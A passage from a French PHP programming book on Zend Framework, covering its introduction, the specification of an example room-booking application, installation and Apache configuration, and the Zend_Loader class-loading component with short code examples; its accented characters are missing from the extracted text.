une installation et une prise en main simples et rapides. Cette caractristique rduit les risques dus au turn-over, cest--dire le dveloppement dun projet par plusieurs dveloppeurs qui se relaient ; la possibilit de sadapter nimporte quelle application ou dadapter nimporte quelle ressource dans les composants. Cette absence de limitation est une vritable porte ouverte linnovation. Les inconvnients que nous pouvons noter lheure actuelle sont les suivants : Zend Framework propose des ressources dites de bas niveau. En dautres termes, le framework ne se considre pas comme un L4G qui permettrait de construire une application presque sans code, ce qui limiterait les possibilits dinnovation et de personnalisation ; rejoignant le point prcdent, Zend Framework est orient composants. Monter une application complte est complexe et requiert de bonnes notions de dveloppement logiciel ; ce framework demande un minimum de connaissances en programmation oriente objet (POO) et ne fonctionne pas avec PHP 4. Il est important en particulier de comprendre les aspects thoriques de certains composants, ce qui est en partie le but de cet ouvrage.
T L4G

L4G signifie langage de 4e gnration . Le principe dun L4G est de pouvoir dvelopper quasiment sans toucher au code grce des outils, souvent graphiques, dits de haut niveau. Les langages de 3e gnration permettent une meilleure comprhension du code par lhomme grce une syntaxe et des mots rservs. Il sagit des langages procduraux et objets : C, Java, PHP, etc. La deuxime gnration comprend les langages de type assembleur et la premire, le langage machine avec des 0 et des 1.

Structure et principe

Figure 11

Apport de Zend Framework dans le dveloppement web

Dun point de vue technique, Zend Framework apporte PHP ce que les rails apportent la locomotive : un support qui permet davancer efficacement dans les dveloppements ; la figure 1-1 illustre ce principe. Les grandes lignes dun framework sont les suivantes : fournir des rgles de dveloppement claires et prcises (conventions) ; fournir des composants rutilisables (ressources) ; proposer un cadre technique pour le dveloppement (architecture).
Groupe Eyrolles, 2008

1 Introduction Zend Framework

Zend Framework - Bien dvelopper en PHP

Les rgles de dveloppement


Elles dcrivent comment organiser et crire le code PHP : le formatage des fichiers comment les fichiers sont-ils organiss et que contiennent-ils ? les conventions de nommage comment nomme-t-on les fonctions, les classes, les variables, etc. ? le style de codage toutes les rgles qui dcrivent la forme du code PHP : espaces, indentations, casse, etc.
MTHODE Rgles de dveloppement
Les rgles de dveloppement compltes de Zend Framework sont dcrites dans la documentation officielle ladresse suivante : B http://framework.zend.com/manual/fr/ coding-standard.html Si vous navez pas de rgles prcises, nous vous conseillons alors fortement de vous baser sur celles-ci.

quoi servent les rgles de dveloppement ? travailler en quipe il est plus facile de relire du code dont on connat les rgles dorganisation et dcriture ; gagner du temps en sachant o se situent les fonctionnalits et comment les trouver, de manire immdiate ; aller plus loin en ayant la matrise globale dune application mme lorsquil y a beaucoup de code source et de fonctionnalits dont on nest pas forcment lauteur.

Les composants rutilisables


T Composant

La majorit des chapitres de cet ouvrage est consacre aux composants rutilisables. Si Zend Framework en propose de nombreux prts lemploi, il est toujours possible de les personnaliser ou de les complter, mais aussi den crer de nouveaux, trs facilement.

Ils mettent disposition des fonctionnalits courantes que lon retrouve dans la plupart des applications web. Cela permet : dviter davoir les dvelopper ; davoir disposition des fonctionnalits fiables, utiles et testes ; de minimiser la densit du code source, donc gagner du temps et ainsi optimiser le temps de mise sur le march (time to market ou dlai de lancement).

Larchitecture
Elle est le squelette de lapplication PHP la base technique sur laquelle le dveloppeur peut construire. Larchitecture permet en particulier : davoir des repres essentiels pour sorganiser et grer terme un code source dense, avec des fonctionnalits nombreuses et complexes ; dviter de partir dune page blanche grce la prsence dun socle technique et dune mthodologie ; de favoriser ladoption du mme modle pour le dveloppement de plusieurs applications. Nous verrons par la suite que larchitecture propose par Zend Framework est assez souple pour disposer de plusieurs configurations possibles, notamment lorsque lon doit grer plusieurs applications ou une application qui doit tre spare en modules.
Groupe Eyrolles, 2008

CULTURE Architecture et MVC


On entend souvent parler de ce modle trs populaire quest MVC (Modle-Vue-Contrleur). Larchitecture est directement lie cette notion qui est largement dtaille, en thorie dans lannexe E et, en pratique, dans les chapitres 6 et 7.

Conseils pour bien dmarrer avec Zend Framework


Avant de commencer avec Zend Framework, il est important dtre conscient de certains prrequis et de ltat desprit adopter pour apprendre dans de bonnes conditions.

Prrequis
Une bonne comprhension de Zend Framework passe par la matrise dun bon nombre de notions. Afin de garantir lacquisition rapide de ces notions par les dbutants et dassurer un contenu le plus prcis et concis possible, voici une liste de ces notions complmentaires traites en annexes. Le framework : il est important de bien comprendre les avantages utiliser un framework ; si ce nest pas encore le cas, reportez-vous lannexe A. Les bases de donnes : notamment, les notions de couche dabstraction, de passerelles, dORM et de CRUD. Si vous ne les matrisez pas, alors lannexe B vous permettra de comprendre leurs principes, ncessaires lapprentissage du composant Zend_Db. La programmation oriente objet : sujet aussi vaste que ncessaire ! Si vous ne matrisez pas les fondements de la POO, vos possibilits avec Zend Framework seront trs limites. Lannexe C permet ceux qui ne matrisent pas cette notion daborder les bases ncessaires et daller plus loin si besoin. Les design patterns : ils permettent dapprofondir la comprhension de certains composants et de rpondre des solutions courantes de POO. Cette notion est aborde dans lannexe D. Le pattern MVC : lun des plus importants design patterns mrite un chapitre thorique. Comprendre MVC est ncessaire pour aborder larchitecture dune application web dans son ensemble. MVC est trait dans lannexe E. Le langage PHP : savoir comment fonctionne PHP est un gage de confort indniable lorsquon lutilise tous les jours, ne serait-ce que pour loptimisation et la qualit de vos dveloppements. Pour revoir ces aspects, lisez lannexe F. Le gestionnaire de sources Subversion : le code source de Zend Framework est stock dans un dpt de donnes Subversion. Vos projets devraient eux aussi utiliser un gestionnaire de version, car cela prsente des avantages prcieux, dtaills dans lannexe G.
Groupe Eyrolles, 2008

CONSEIL Comprendre le fonctionnement du framework


Il est possible, en suivant des tutoriels, darriver dvelopper du code Zend Framework correct. Nous insistons par contre sur le fait que la comprhension du fonctionnement (interne) de Zend Framework est un avantage indniable lorsquil sagit dcrire une application, quelle quen soit la complexit.

1 Introduction Zend Framework

Zend Framework - Bien dvelopper en PHP

Les tests unitaires avec PHPUnit : au cur de la gestion de la qualit et de la maintenance du code se trouvent les tests unitaires. quoi servent-ils et comment fonctionnent-ils ? la lecture de lannexe H, vous aurez lessentiel en main pour aborder vos dveloppements, muni de cette notion devenue essentielle.

tat desprit
CULTURE Simplicit et souplesse
Ces deux notions, si elles ont lavantage de permettre daller vite et de favoriser fortement linnovation, ne sont pas totalement sans inconvnient. Se perdre dans une architecture brouillon est sans aucun doute le premier travers viter : il est ncessaire dtre organis et rigoureux ! Dans cet ouvrage, nous mettons un point dhonneur maintenir cote que cote la rigueur ncessaire la production de dveloppements cohrents.

Loin de nous lide dimposer ici une conduite restrictive, il sagit juste de prciser une chose essentielle : les concepteurs de Zend Framework ont spcialement conu cet outil pour tre limage de PHP. Il est donc important de prendre en considration les faits suivants : Zend Framework nimpose rien, il propose. Libre vous de partir dans la direction que vous souhaitez, tant au niveau de larchitecture que de lutilisation des composants, ou mme avec vos propres normes... Zend Framework est simple. Quil sagisse de son architecture ou de la plupart de ses composants, lide nest pas davoir faire une usine gaz, mais un outil qui permet de dvelopper plus vite et plus facilement.

Groupe Eyrolles, 2008

En rsum
Zend Framework est un outil qui adopte la souplesse et, dans une certaine mesure, la simplicit de PHP. Mais comme tout outil, pour en rcolter les meilleurs fruits, il est ncessaire de le matriser et de respecter ses rgles. Nous attirons donc votre attention sur les points suivants : Zend Framework est un outil puissant, soutenu par une large communaut et prt pour la mise en uvre dapplications stratgiques. Cet outil comporte des conventions, une architecture modulaire qui favorise la rutilisabilit, autant de principes ne pas perdre de vue ! Enfin, une bonne connaissance de PHP 5 et de la programmation oriente objet, entre autres, est indispensable. Les annexes de cet ouvrage vous aideront acqurir les prrequis ncessaires la matrise de Zend Framework.

Groupe Eyrolles, 2008

1 Introduction Zend Framework

chapitre

Groupe Eyrolles, 2008

Cahier des charges de lapplication exemple

SOMMAIRE

B Cahier des charges

lorigine de tout projet, on trouve les mmes mots-cls : besoins, objectifs, cahier des charges, spcifications fonctionnelles et techniques. Sans compter la joie de commencer un tout nouveau projet et lapprhension de sa ralisation... Quels que soient les objectifs et les caractristiques de votre projet, cet ouvrage vous fournira toutes les informations techniques et mthodologiques dont vous aurez besoin pour btir une application solide avec Zend Framework.

B Conseils pour commencer


MOTS-CLS

B spcifications B espace de travail B outils B fonctionnalits B organisation

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Loutil qui est dcrit dans ce livre savre aujourdhui une rfrence incontestable pour dvelopper efficacement en PHP. Il est parfaitement adapt PHP par sa souplesse et la richesse de ses composants. De la simple page comportant quelques lments dynamiques lapplication critique et industrielle, Zend Framework aura sa place pour faciliter et fiabiliser vos dveloppements. Pour bnficier de tous les avantages quoffre Zend Framework, une phase dadoption de loutil simpose. Lobjectif de cet ouvrage est de vous faciliter grandement cette tape grce de nombreux exemples concrets et conseils aviss.

Expression du besoin
Voici lexpression du besoin de lapplication exemple. Il nest bien entendu pas obligatoire de la suivre la lettre. Vous pouvez vous servir de cet exemple tel quel, tout comme inventer votre propre application. Seules les fonctionnalits changent ; la technique, elle, reste la mme. Allons-y Notre entreprise possde un certain nombre de salles de runion que de nombreux collaborateurs internationaux doivent se partager. Aujourdhui, il est difficile de savoir un instant T quelles sont les salles libres. De plus, les rservations se font de manire trs improvise. Notre besoin : mettre en place un outil qui permette aux collaborateurs de lentreprise de rserver une salle et de consulter un calendrier des rservations. Bien entendu, il y a dautres dtails qui peuvent tre intressants, tels que la possibilit ultrieure de lier le calendrier des rservations celui des collaborateurs, exporter en CSV ou en PDF pour transmettre linformation, ou scuriser laccs loutil, de manire ne pas divulguer linformation aux gens de lextrieur.

Lobjectif : votre application !


Comme nous lavons dj fait remarquer, Zend Framework est capable de sadapter des applications de toute taille et de toute nature. Nous allons donc rgulirement mettre laccent sur les choix faire en fonction des caractristiques de votre projet, car lobjectif est bien de vous faciliter la tche grce un outil efficace. Nous verrons en particulier que, pour la plupart des composants, vous avez le choix entre les utiliser compltement, partiellement, ou pas du 10
Groupe Eyrolles, 2008

tout, ou encore en modifiant ou compltant leurs caractristiques. Cette souplesse est intressante, aussi bien pour les nouveaux projets que pour la migration de projets existants, car il est parfaitement possible deffectuer le travail progressivement. Dans lapplication exemple, nous tcherons de balayer ces diffrentes possibilits de manire vous familiariser avec la logique du framework. Soyez curieux ! Essayez les diffrentes possibilits qui soffrent vous, ces connaissances seront des armes efficaces pour votre travail, vous vous en rendrez rapidement compte. Enfin, nous mettons aussi votre disposition lapplication exemple en ligne. Vous pouvez la faire fonctionner et la manipuler comme bon vous semble, au gr de votre lecture.

URL Application exemple


Vous pouvez tlcharger lapplication exemple en ligne ladresse suivante : B http://www.zfbook.fr

Spcifications fonctionnelles et techniques


Afin de se concentrer sur lessentiel, en loccurrence notre apprentissage efficace de Zend Framework, ces spcifications resteront minimales. Rapidement, voici quoi peuvent se rsumer nos spcifications fonctionnelles, suite lexpression des besoins exprims ci-avant. Pour commencer, voici une liste de fonctionnalits qui doivent apparatre dans lapplication : Disposer dune application en deux parties : une partie commune et une partie rservation. Dautres parties pourront voir le jour aprs, avec ventuellement davantage de modularit. Dans la partie rservation, il doit tre possible davoir : une liste pagine de rservations en cours ; un formulaire pour crer ou diter une rservation ; un bouton pour supprimer une rservation ; une page qui permet dexporter des rservations et de mettre en place des solutions dintroprabilit ; une page daccueil. Il doit tre possible de naviguer en franais ou en anglais, au choix, et de pouvoir passer de lun lautre en temps rel. Afin de garantir la scurit des donnes, lutilisateur doit sauthentifier : tout le monde a le droit de lire les rservations, y compris les non authentifis (visiteurs) ; une fois authentifi, il doit tre possible de crer des rservations et de supprimer/diter ses propres rservations (mais pas celles des autres) ;
Groupe Eyrolles, 2008

11

2 Cahier des charges de lapplication exemple

Zend Framework - Bien dvelopper en PHP

un statut administrateur permet en revanche de tout faire, il est attribu un nombre limit dutilisateurs. Il doit tre possible dexporter des donnes dans diffrents formats afin dchanger ses fichiers : export PDF dune page ou de lensemble des rservations ; export CSV dune page ou de lensemble des rservations ; export XML dune page ou de lensemble des rservations ; export JSON dune page ou de lensemble des rservations. Cette application devra disposer dun moyen de communiquer avec dautres applications de lentreprise ; pour cela, nous avons besoin des services suivants : un accs SOAP aux oprations de base (consulter, ajouter, diter, supprimer) ; un accs REST aux oprations de base, comme laccs SOAP ; un accs JSON la liste pagine des rservations. Enfin, cette application devrait voluer dans le temps avec des ajouts ou des amliorations de fonctionnalits. Il convient ainsi dtre le plus modulaire et prventif possible quant au design logiciel. En ce qui concerne les spcifications techniques permettant la mise en uvre des fonctionnalits exprimes, nous nous contenterons de choisir Zend Framework comme outil de dveloppement principal, et dadapter les bonnes pratiques dutilisation des composants au travail raliser.
NOTE Choix techniques
Tel que nous lavons not dans la section Lobjectif : votre application, nous apporterons chaque composant de Zend Framework un exemple intgral, mme si les choix dimplmentation, qui se veulent complets, ne sont pas toujours adapts aux caractristiques de lapplication. Quoi quil en soit, nous vous guiderons pour faire des choix pertinents avec des remarques situes en marge.

Nous avons apport un soin tout fait particulier au gnie logiciel. Vous trouverez dans les chapitres de cet ouvrage beaucoup de schmas UML. Aussi, lcriture du code respecte les rgles du design et de larchitecture logiciels : testabilit, extensibilit, design patterns... autant de notions qui sont largement abordes dun point de vue thorique dans les annexes. Un des buts de cet ouvrage est de vous faire comprendre le fonctionnement de Zend Framework ; les schmas UML et les prises de dcisions face certaines problmatiques sont ainsi tourns dans ce sens.

Maquettes
Quoi de plus parlant quune srie de maquettes pour avoir un aperu de lapplication finale, comme nous pouvons en voir dans de nombreux projets ?

12

Groupe Eyrolles, 2008

Figure 21

Page daccueil en franais

Figure 22

Page daccueil en anglais

Groupe Eyrolles, 2008

13

2 Cahier des charges de lapplication exemple

Zend Framework - Bien dvelopper en PHP

Figure 23

Liste des rservations en cours

Figure 24

dition dune rservation

14

Groupe Eyrolles, 2008

Figure 25

Ajout dune rservation

Figure 26

Page daccueil des fonctionnalits dexport et dinteroprabilit

Groupe Eyrolles, 2008

15

2 Cahier des charges de lapplication exemple

Zend Framework - Bien dvelopper en PHP

Figure 27

Export en PDF de la liste des rservations

Figure 28

Export en CSV de la liste des rservations

16

Groupe Eyrolles, 2008

Figure 29

Export en XML depuis la liste pagine

Figure 210

Export en JSON depuis la liste pagine

Groupe Eyrolles, 2008

17

2 Cahier des charges de lapplication exemple

Zend Framework - Bien dvelopper en PHP

Mises en garde et conventions


Cette application est un exemple. Mme si ses auteurs ont us de toute leur attention pour la concevoir, celle-ci ne peut tre considre ni comme complte ni comme parfaitement scurise. Aussi des choix ont-ils t effectus parfois dans le but de montrer une utilisation prcise que nous avons juge intressante, alors quintrinsquement la fonctionnalit en question peut ne pas tre juge comme justifie. Le but reste le mme : vous montrer une fonctionnalit qui peut sappliquer un endroit appropri.

Conventions
Nous avons ainsi choisi quelques conventions de bon sens lors de la rdaction de cet ouvrage : Nos schmas UML ne sont pas tous complets, auquel cas ils auraient pris des pages entires ; ainsi, ils sont souvent nots comme simplifis, ce qui signifie que les mthodes et les attributs napparaissent pas ou alors que certaines classes moins importantes nont pas t intgres. Toujours dans le but damliorer la clart des illustrations, les classes dexception napparaissent pas dans nos modles UML de Zend Framework. Les codes sources crits dans cet ouvrage rduisent les commentaires PHPDOC afin damliorer la lisibilit. Les commentaires utiles la comprhension de certaines lignes, en revanche, sont bien prsents. Les codes sources peuvent aussi lgrement diffrer du code source rel final de lapplication, que vous pouvez tlcharger sur Internet, toujours pour des raisons de lisibilit et de comprhension. Enfin, tous les exemples de lapplication respectent les rgles de syntaxe de Zend Framework. Celles-ci sont trs prcises et nous vous invitons vivement les respecter.

RAPPEL URL de lapplication exemple


B http://www.zfbook.fr

Plateforme technique
Concernant la plateforme technique de dveloppement, nous avons utilis : Linux (Xubuntu, Debian) et Windows (XP) ; Zend Framework en version 1.6.2 ; PHP en version 5.2.6. Quelques problmes de compatibilit peuvent apparatre dans les versions 5.1.x de PHP ; MySQL en version 5.0.51 ; Apache en version 2.2.8 ; 18
Groupe Eyrolles, 2008

Zend Studio pour Eclipse en version 6.1 pour la gestion du projet ; Subversion en version 1.4.6 ; PHPUnit en version 3.3.1.

En rsum
Un exemple pratique de dveloppement vous accompagnera du chapitre 3 au chapitre 15 de cet ouvrage. Il sagit dune application de gestion de salles de runion. Ce dveloppement a pour objectif de montrer comment raliser un projet concret avec Zend Framework. Cest un support pour la majeure partie des exemples. En revanche, du fait quil exploite un grand nombre de composants en long, en large et en travers, et compte tenu de sa simplicit, il sagit avant toute chose dun outil pdagogique. vous darchitecturer votre application bon escient. Enfin, pour bien dmarrer, privilgiez des versions rcentes de PHP, Apache et MySQL.

Groupe Eyrolles, 2008

19

2 Cahier des charges de lapplication exemple

chapitre

Groupe Eyrolles, 2008

Installation et prise en main

SOMMAIRE

B Tlchargement, installation

Pour bien des outils, la difficult dinstallation est un frein leur adoption. Cest loin dtre le cas de Zend Framework qui, compos seulement dun ensemble de fichiers PHP, ne ncessite que quelques minutes dinstallation et de configuration pour une utilisation minimale.

et configuration initiale

B Premiers pas avec Zend


Framework MOTS-CLS

B tlchargement B paquetage B installation B Subversion

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

RAPPEL Configuration minimale


Zend Framework requiert au minimum la version 5.1.4 de PHP pour fonctionner. Ses concepteurs recommandent cependant une version de la branche 5.2 de PHP, et nous, auteurs, recommandons la dernire version stable de PHP en date. En effet, au fur et mesure que Zend Framework volue, il sadapte PHP et certains composants ne fonctionnent alors que partiellement avec des versions de PHP plus anciennes.

Zend Framework est un ensemble de fichiers crits en PHP, cest un outil facile installer et configurer. Il ne vous faudra pas plus de dix minutes pour cette opration. Pour suivre ce chapitre, vous avez besoin dune connexion Internet et dun serveur web avec PHP. La dmarche explique dans ce chapitre permet de mettre en place les outils de base qui nous seront utiles pour lapplication exemple. Si vous ne connaissez pas du tout Zend Framework, il est important de bien suivre les exemples de ce chapitre.

Tlchargement du paquetage
Zend Framework est contenu dans un seul paquetage quil suffit de tlcharger et de dployer. Commencez par dterminer un rpertoire dinstallation. Par exemple :
Windows
C:/www

Linux
$ mkdir /www $ cd /www

Ensuite, nous devons aller sur le site de Zend Framework, dans la section Download, afin de rcuprer le paquetage correspondant la dernire version du Framework. http://framework.zend.com est lURL officielle.

Figure 31

Tlchargement des paquetages de Zend Framework

22

Groupe Eyrolles, 2008

Tlchargement sous Windows


1 Tlchargez le fichier, mettez-le dans votre rpertoire c:/www. 2 Faites un clic droit sur le nom du fichier, puis dcompressez-le. 3 Dplacez le rpertoire library dans c:/www et supprimez le reste.

CONSEIL Dcompresser le paquetage


Si vous ne pouvez pas dcompresser le paquetage, employez lutilitaire 7-zip (http://www.7zip.org) ou un quivalent, il en existe plein sur Internet.

Tlchargement sous Unix


Sous Unix, tlchargez la dernire version de Zend Framework puis dcompactez-la avec lutilitaire darchivage tar.
Tlchargement et dcompactage de Zend Framework sous Unix
$ $ $ $ wget http://url/vers/zend-framework.tar.gz tar -xzf zend-framework.tar.gz mv zend-framework/library ./ rm -rf zend-framework

PRATIQUE Paquetages Ubuntu


Depuis sa version 8.04, Ubuntu propose la distribution de Zend Framework dans ses dpts de paquets officiels, disponibles avec la commande apt-get ou loutil Synaptic.

Configuration du serveur Apache


Voil, vous avez maintenant install Zend Framework. Il ne reste plus qu configurer un serveur Apache avec PHP, de manire le faire fonctionner. La configuration minimale du framework consiste modifier la directive PHP include_path. Cette directive dtermine les chemins quil faut emprunter pour inclure les fichiers dans PHP avec les appels include* et require*. ditez le fichier php.ini et modifiez la directive include_path :
Windows
include_path = ".;C:/www/library"

PRREQUIS Apache
Les bases de la configuration dApache et de PHP sont abordes en annexe F. Vous pouvez utiliser tout serveur compatible avec PHP, en revanche la partie MVC ncessite que votre serveur soit capable dassurer la rcriture dURL (mod_rewrite).

PERFORMANCE include_path
Pour des raisons de performances, nous vous conseillons de faire apparatre Zend Framework en premier dans votre include_path, si celui-ci doit comporter dautres chemins.

Linux
include_path = ".:/www/library"

Ensuite, nous allons crer un rpertoire Apache :


Windows
C:/www/htdocs

htdocs

qui sera visible par

Linux
$ mkdir /www/htdocs

Groupe Eyrolles, 2008

23

3 Installation et prise en main

Zend Framework - Bien dvelopper en PHP

Puis, nous devons modifier la configuration Apache pour que le rpertoire racine du serveur HTTP corresponde htdocs. ditez le fichier httpd.conf puis modifiez la directive DocumentRoot :
Windows
DocumentRoot "C:/www/htdocs"

Linux
DocumentRoot "/www/htdocs"

Redmarrez Apache et le tour est jou, votre framework est install et configur !

Tlchargement par le dpt Subversion


PRREQUIS Subversion et Zend Framework
Pour des informations dtailles sur Subversion, ou sur la structure du dpt de Zend Framework, rendez-vous dans lannexe G.

Comme beaucoup de projets open source, Zend Framework est dvelopp par un ensemble de personnes. Le code source est donc partag et gr par un outil de contrle de versions et demeure librement accessible tous, du moins en lecture. Il est donc possible daccder aux sources via le dpt Subversion. Ceci vous permet de : bnficier de la toute dernire version des sources et donc des derniers patchs ; tester vos applicatifs sur une version prcise du framework, gnralement une version future, dans le but danticiper un changement ventuel de compatibilit ; accessoirement, bnficier des composants futurs durant leur cycle complet de dveloppement ; contribuer ce projet passionnant, auquel cas, bien entendu, vous aurez besoin davoir accs au dpt. ce sujet, consultez http://
framework.zend.com/wiki/display/ZFDEV/Contributing+to+Zend+Framework.

LIRE Subversion

Pour dcouvrir Subversion ou pour approfondir votre connaissance et votre pratique du contrle de versions, vous pouvez consulter louvrage suivant : R M. Mason, Subversion Pratique du dveloppement collaboratif avec SVN, Eyrolles, 2006

Ce type de tlchargement est conseill si vous utilisez dj Subversion pour vos dveloppements. Vous pouvez vous servir de la notion dexternals de Subversion afin de lier le dpt du framework celui de votre application. Ladresse de la branche principale du dpt Subversion est la suivante :
http://framework.zend.com/svn/framework/standard/trunk

Si seules les sources relatives aux bibliothques du framework (le dossier library) vous intressent, accdez directement lURL suivante :
http://framework.zend.com/svn/framework/standard/trunk/library

24

Groupe Eyrolles, 2008

Slectionnez ainsi un dossier, puis faites un clic droit et choisissez SVN Checkout ; entrez ensuite lURL du dpt et validez : le tlchargement commence. La figure 3-2 offre un aperu de cette manipulation sous Windows. Sous Unix, lacquisition du framework via Subversion se fait en une seule ligne de commande. Placez-vous dans le rpertoire qui contiendra le rpertoire Zend de Zend Framework et tapez la commande adquate :
Acquisition de Zend Framework sous Unix/Linux via Subversion
$ cd library $ svn checkout http://framework.zend.com/svn/framework/ X standard/trunk/library

Figure 32

Tlchargement de Zend Framework via le dpt Subversion (Windows)

Premire utilisation du framework


Pour tester Zend Framework, nous allons crer un fichier dans le rpertoire htdocs qui fait appel un des nombreux composants. Crez le fichier test.php dans le rpertoire htdocs :
Windows
C:/www/htdocs/test.php

Linux
$ vi /www/htdocs/test.php

Dans ce fichier, incluez le code PHP suivant :


<?php // Affichage de la date courante require 'Zend/Date.php'; $date = new Zend_Date(); echo $date;

Ce petit test affiche la date courante avec le composant Zend_Date du framework. Si la date saffiche, cest que votre installation et votre configuration sont correctes !

Figure 33

Test de Zend Framework : affichage de la date Groupe Eyrolles, 2008

25

3 Installation et prise en main

Zend Framework - Bien dvelopper en PHP

AIDE Forum francophone


Il existe un site communautaire francophone qui comporte de nombreux tutoriels et un forum actif pour poser ses questions et changer. Si vous rencontrez des difficults dans linstallation du framework, nous vous conseillons daller y faire un tour : B http://www.z-f.fr

Voil, nous venons dinstaller et de tester Zend Framework. Cest une base ncessaire et suffisante pour aborder lensemble des chapitres de cet ouvrage. Il vous reste maintenant dcouvrir les nombreuses fonctionnalits et possibilits de modlisation que lon peut mettre en uvre avec Zend Framework.

En rsum
Le tlchargement et linstallation de Zend Framework sont simples et rapides. Vous trouverez un paquetage sur le site officiel du framework. Vous devez disposer dun serveur HTTP comme Apache et dune configuration PHP dont la directive include_path pointe sur le dossier courant . et la racine du framework (dossier Zend). Enfin, il est galement possible de tlcharger Zend Framework via un dpt de donnes Subversion disponible sur Internet.

26

Groupe Eyrolles, 2008

Groupe Eyrolles, 2008


3 Installation et prise en main

27

chapitre

Groupe Eyrolles, 2008

Composants de base

SOMMAIRE

B Matriser les composants

La connaissance et la matrise de petits outils, parfois insignifiants, peuvent faire la diffrence entre un codeur inefficace et un dveloppeur performant. Cela sappelle la culture, mme si dans le contexte de cet ouvrage elle se trouve rduite au monde informatique.

de base

B Configurer les outils essentiels


COMPOSANTS

B Zend_Loader B Zend_Config B Zend_Log B Zend_Debug B Zend_Registry B Zend_Exceptions


MOTS-CLS

B chargement B auto-chargement B configuration B dbogage B exceptions B registre

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Les composants proposs dans ce chapitre sont de petite taille. Ils permettent daccompagner vos dveloppements de tous les jours en apportant des solutions pratiques aux problmes courants. Ils ne ncessitent pas darchitecture particulire, ils peuvent tre utiliss tels quels dans un fichier PHP. Cest pourquoi nous avons choisi de commencer par leur tude.

Configuration de lenvironnement
Nous avons vu dans le chapitre prcdent comment installer lenvironnement Zend Framework. Nous allons tout simplement nous en servir pour utiliser les composants introduits dans ce chapitre. Chaque section est ddie un composant et divise en deux parties : une partie exemple qui propose un exemple dutilisation simple et indpendant de tout le reste ; une partie intgration lapplication qui propose une dmarche dintgration du composant au sein de notre projet exemple. Afin dy gagner en lisibilit, tous les exemples seront stocks dans le rpertoire htdocs/examples :
Crer le rpertoire contenant les exemples (sous Linux)
$ mkdir /www/htdocs/examples $ cd /www/htdocs/examples

Le rpertoire contenant les exemples (sous Windows)


C:/www/htdocs/examples

Zend_Loader
Zend_Loader library.

permet de grer le chargement des classes du rpertoire Il est utilis la place du include() ou du require() traditionnels. Il y a deux manires dutiliser Zend_Loader : le chargement manuel consiste appeler Zend_Loader chaque fois quon veut se servir dune classe ou dun fichier PHP ; le chargement automatique consiste configurer Zend_Loader pour quil soit implicitement appel lorsque PHP veut utiliser une classe. On appelle ce procd autoload (auto-chargement).

30

Groupe Eyrolles, 2008

Lauto-chargement est de plus en plus utilis. Non seulement il est plus pratique, car il vite davoir ajouter des lignes dinclusion, mais il est plus sr et naffecte pas les performances de manire significative dans les versions rcentes de PHP.

Exemple dutilisation
Dans notre exemple, nous allons dabord utiliser Zend_Loader manuellement pour charger une classe, puis effectuer la dclaration ncessaire un chargement automatique des classes. Commencez par crer le fichier dexemple :
Sous Linux
$ cd /www/htdocs/examples $ vi zend_loader.php

Sous Windows
C:/www/htdocs/examples/zend_loader.php

Chargement manuel dune classe


Imaginons que nous voulons utiliser le composant Zend_View et que nous souhaitions pour cela employer Zend_Loader pour le charger. Voici comment faire :
Chargement manuel dune classe
// Inclusion du composant Zend_Loader include 'Zend/Loader.php'; // Utilisation de Zend_Loader pour utiliser Zend_View Zend_Loader::loadClass('Zend_View'); // Cration dun objet Zend_View $view = new Zend_View(); var_dump($view);

ALTERNATIVE Inclure un fichier sans classe


Il est aussi possible avec Zend_Loader dinclure des fichiers, comme nous le ferions avec un include PHP. Pour cela, il suffit dappeler Zend_Loader::loadFile() au mme titre que Zend_Loader::loadClass().

peut aussi tre utilise pour nimporte quelle classe respectant la convention de noms de Zend Framework. Cette convention permet de trouver le fichier dans lequel la classe est dclare. Il faut pour cela remplacer les traits de soulignement (underscores) _ des noms des classes par des slashs /, et ajouter le suffixe .php. Ainsi Zend_View se trouve dans Zend/View.php. Vous trouverez davantage dinformations ce sujet dans le chapitre 15.
loadClass()

Groupe Eyrolles, 2008

31

4 Composants de base

Zend Framework - Bien dvelopper en PHP

loadFile() est identique un include(), except quelques vrifications sur le nom du fichier afin de dtecter dventuels caractres invalides.

Chargement automatique dune classe (autoload)


Le chargement automatique permet dviter dappeler include() ou Zend_Loader::loadClass() chaque fois que lon veut utiliser une nouvelle classe. Il faut pour cela quune rgle de conversion soit tablie entre le nom du fichier et celui de la classe sy trouvant. Zend Framework possde une telle convention, comme nous venons de le voir. Pour activer le chargement automatique, il suffit seulement de spcifier que nous souhaitons auto-charger les classes :
Autoload avec Zend_Loader
// Inclusion de la classe Zend_Loader include 'Zend/Loader.php'; // Dclaration du chargement automatique Zend_Loader::registerAutoload(); // Utilisation dune classe sans chargement manuel $date = new Zend_Date(); var_dump($date);

POUR OU CONTRE Le chargement automatique


Le chargement automatique est trs pratique en dveloppement, car il permet dviter lutilisation systmatique de linclusion manuelle, ce qui rduit le nombre de lignes de code et les chargements inutiles. En revanche, il est plus facile pour PHP doptimiser un code qui contient un chargement manuel. Il se peut quen chargement automatique, votre application soit lgrement plus lente, sans pour autant prtendre galer les ralentissements dus aux requtes SQL non optimises. Aussi, selon la complexit des inclusions, lautoload peut au contraire tre lgrement plus rapide que linclusion manuelle. Aujourdhui, le choix du chargement automatique va de soi dans la trs grande majorit des projets.

Comme nous pouvons le remarquer dans le script prcdent, aucun moment nous ne faisons appel include() ou Zend_Loader::loadClass() avant dutiliser la nouvelle classe Zend_Date.

Aller plus loin avec Zend_Loader


Il est galement possible dutiliser dautres fonctionnalits de Zend_Loader : tester si un fichier existe ou utiliser le chargement automatique de classes avec des rgles diffrentes. Voici un exemple dutilisations avances de Zend_Loader :
Utilisation avance, zend_loader_advanced.php
<?php // Inclusion de Zend_Loader include 'Zend/Loader.php'; // Chargement avec vrification if (!Zend_Loader::isReadable('Zend/View.php')) { throw new Exception('Unable to use Zend_View.'); } Zend_Loader::loadClass('Zend_View'); var_dump(new Zend_View());

32

Groupe Eyrolles, 2008

// Utilisation dune classe personnalise pour lauto-chargement Zend_Loader::registerAutoload('My_Loader'); // Utilisation de Zend_Date avec auto-chargement implicite var_dump(new Zend_Date());

Le rsultat de ce script est illustr sur la figure 4-1.

Figure 41

Chargement automatique de classes

Bien sr, les deux dernires lignes de lexemple ne peuvent fonctionner sans la cration dun fichier complmentaire contenant la classe My_Loader. Cette classe doit comporter une mthode statique autoload() qui prend en paramtre le nom de la classe charger. Voici le contenu minimal de ce fichier :
Fichier /www/library/My/Loader.php
<?php class My_Loader { /** * Une fonction utilisateur pour le chargement des classes * * @param string $class */ public static function autoload($class) { include strtr($class, '_', '/') . '.php'; } }

